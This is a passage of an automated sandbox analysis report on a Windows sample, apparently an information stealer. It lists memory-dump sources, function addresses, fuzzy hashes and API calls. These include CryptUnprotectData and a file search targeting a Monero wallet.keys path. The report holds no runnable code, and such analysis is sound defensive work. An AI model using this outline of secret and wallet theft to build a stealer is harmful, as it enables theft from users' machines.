Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Ro|$t>X$t>X
API String ID: 0-2328115121
Opcode ID: 3431ca54d3c10f186f705cbd2af15293ac51e66b9ca96d85755a7c901874f8e7
Instruction ID: 73d4cb15fa8c14beea750ee5d2bbdc979ed3c8a1af4e71fde32cb6f348990d10
Opcode Fuzzy Hash: 3431ca54d3c10f186f705cbd2af15293ac51e66b9ca96d85755a7c901874f8e7
Instruction Fuzzy Hash: 0882E5F360C2009FE308AF69DC8567ABBE5EF94720F1A492DE6C5C3744EA3598418797

Function 00143720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0014E118,00000000,00000001,0014E108,00000000), ref: 00143758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 001437B0

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: ca51070564081c1a1e81eb335e940d996e1eded94651f6c5cde4d39b8e9f8aa7
Instruction ID: 6c8196a629642502258e9ba181180ff7563fd674e039065efd7af3ba0706cdb4
Opcode Fuzzy Hash: ca51070564081c1a1e81eb335e940d996e1eded94651f6c5cde4d39b8e9f8aa7
Instruction Fuzzy Hash: 1941E970A40A289FDB24DB58CC95B9BB7B5BB48702F5042D8E618E72E0D771AEC5CF50

Function 00139B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00139B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00139BA3
LocalFree.KERNEL32(?), ref: 00139BD3

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 121068b82d1a7d7ff80d21155a24afa0ceef0a198892063d347e31446d5cbaaf
Instruction ID: c2b7ee29f8d015e938abbdb8dc7e807aeb9c318624daf0229b728671132cc5fc
Opcode Fuzzy Hash: 121068b82d1a7d7ff80d21155a24afa0ceef0a198892063d347e31446d5cbaaf
Instruction Fuzzy Hash: 0C1109B8A00209EFCB05DF94D985EAEB7B9FF88300F104598E915A7394D770AE50CFA1

Function 00503A91 Relevance: 3.4, Strings: 2, Instructions: 888COMMON

Download Yara Rule

Strings

Pqo, xrefs: 00503CD4
{W^T, xrefs: 0050406E

Memory Dump Source

Source File: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Pqo${W^T
API String ID: 0-4049201387
Opcode ID: a4b0f3c16eb10d95f0ae965297912e50b53869b533e6b753f6775db82d6b90eb
Instruction ID: 683cc6d3e3c39336f60eb32372bd34bd1e13a64fb83717d50fe7c068e5c705a2
Opcode Fuzzy Hash: a4b0f3c16eb10d95f0ae965297912e50b53869b533e6b753f6775db82d6b90eb
Instruction Fuzzy Hash: A15216F350C2009FD308AF29EC8567AFBE5EF94760F1A492DEAC587344EA3598058787

Function 0013F68A Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

Part of subcall function 0014A920: lstrcpy.KERNEL32(00000000,?), ref: 0014A972
Part of subcall function 0014A920: lstrcat.KERNEL32(00000000), ref: 0014A982

Part of subcall function 0014A9B0: lstrlen.KERNEL32(?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 0014A9C5
Part of subcall function 0014A9B0: lstrcpy.KERNEL32(00000000), ref: 0014AA04
Part of subcall function 0014A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0014AA12

Part of subcall function 0014A8A0: lstrcpy.KERNEL32(?,00150E17), ref: 0014A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,001515B8,00150D96), ref: 0013F71E
StrCmpCA.SHLWAPI(?,001515BC), ref: 0013F76F
StrCmpCA.SHLWAPI(?,001515C0), ref: 0013F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0013FAB1
FindClose.KERNEL32(000000FF), ref: 0013FAC3

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: c51412134c160f36cda841a37ecf59774b01d78370b882f65ec67c2f568080c3
Instruction ID: 6cfcc4915364939178910a48b6a0882ab03625c925dc44f6f87250290f38b294
Opcode Fuzzy Hash: c51412134c160f36cda841a37ecf59774b01d78370b882f65ec67c2f568080c3
Instruction Fuzzy Hash: F1119D7188410DABEB14FBB0DC559DD7378EF21301F924669A51A570A2EF30274AC752

Function 004135AA Relevance: 1.4, Strings: 1, Instructions: 193COMMON

Download Yara Rule

Strings

G\L, xrefs: 004135CA

Memory Dump Source

Source File: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID: G\L
API String ID: 0-4220368099
Opcode ID: 4126c48baf1d332ef91d311fc9267b8743320364c3f50e4576d1420ff71ae02c
Instruction ID: ebd462083a6bae02d75d43b79847451b5ddb4b017a296f6fb7fe5f246c1b6349
Opcode Fuzzy Hash: 4126c48baf1d332ef91d311fc9267b8743320364c3f50e4576d1420ff71ae02c
Instruction Fuzzy Hash: 72510BF3A482009FE3486E28DC95779F7D5EF94320F1B453DDACA87780EA3A58158752

Function 00471D9F Relevance: 1.4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

Strings

Oo/, xrefs: 00471DB2

Memory Dump Source

Source File: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Oo/
API String ID: 0-3685457274
Opcode ID: 657c488bd6db85cb6d4f1ea72608ac2faa3f6195abd9a13e899c68a9d97153b6
Instruction ID: 9225ebbfce6614ca5c143ed3747eeedae6aa25a68905b048fcf6e4d65e663816
Opcode Fuzzy Hash: 657c488bd6db85cb6d4f1ea72608ac2faa3f6195abd9a13e899c68a9d97153b6
Instruction Fuzzy Hash: 484129F3A082045FE708AA28EC9176BB7D9EB94320F19853DEA85C7344ED3859054796

Function 004DE998 Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ad9603f199ea959aab18ab773eddbee3ff8641cdddb3035e09f74dcdf47f02c
Instruction ID: 243786856aebeb454b58d92e997ba59c98af2d8d6f1b2e4c79e367ab40962c68
Opcode Fuzzy Hash: 3ad9603f199ea959aab18ab773eddbee3ff8641cdddb3035e09f74dcdf47f02c
Instruction Fuzzy Hash: 6351D3F3A086109FE7186E29DC8577ABBE6EFD4720F07453DEAC887780E93458418696

Function 003DAAB9 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48c0d6e74df1e7dc1d31371e765ac1f9601b2751a8c37e10761087c30fd1fb59
Instruction ID: c45c774681d1529d8e951da01d0a883daa908f4620287aaf47da92b268a0776f
Opcode Fuzzy Hash: 48c0d6e74df1e7dc1d31371e765ac1f9601b2751a8c37e10761087c30fd1fb59
Instruction Fuzzy Hash: 9951D5F3F085105BF3089E29DC9177AB7D6EBD4320F1A863DE789933C0E93958058696

Function 0059897F Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39ae196360d6969296514edbff6fe186bc12f14404f0737a58c9652925346567
Instruction ID: 96096c97bdcf0d77992da3472669ec1db807c5036e926a828348d6fc7706cc0f
Opcode Fuzzy Hash: 39ae196360d6969296514edbff6fe186bc12f14404f0737a58c9652925346567
Instruction Fuzzy Hash: 27316BB291C3009FE345AE29DC826BAFBE5EF98720F12492DE6C5D3610E67158418A97

Function 0052DBE3 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a47df607ea7f30447caf2267cc655cf971989726512bf069add36bccd12e090
Instruction ID: bf4c586a39a37e90d176b95cc493bdb4fa66becf7944375d988bb2300d991420
Opcode Fuzzy Hash: 8a47df607ea7f30447caf2267cc655cf971989726512bf069add36bccd12e090
Instruction Fuzzy Hash: 52210873D0C030DBD3199919DC1167AFBA5EF95310F22892DD9D667384E9751C1186E2

Function 0059EA28 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 009d44e2599915bfefa12373af0db249c59c9844bcd5f8e56c4220724dbdd75f
Instruction ID: 4ad7a5191b9cdc6df6db7c80e982cd1ee20b2128748fd00bb784b7f8c4843e90
Opcode Fuzzy Hash: 009d44e2599915bfefa12373af0db249c59c9844bcd5f8e56c4220724dbdd75f
Instruction Fuzzy Hash: 0D2153B240C7189FD715BE6CDC956BAF7E4EF18750F06092DDAD583300EA70A9148B9B

Function 00149750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
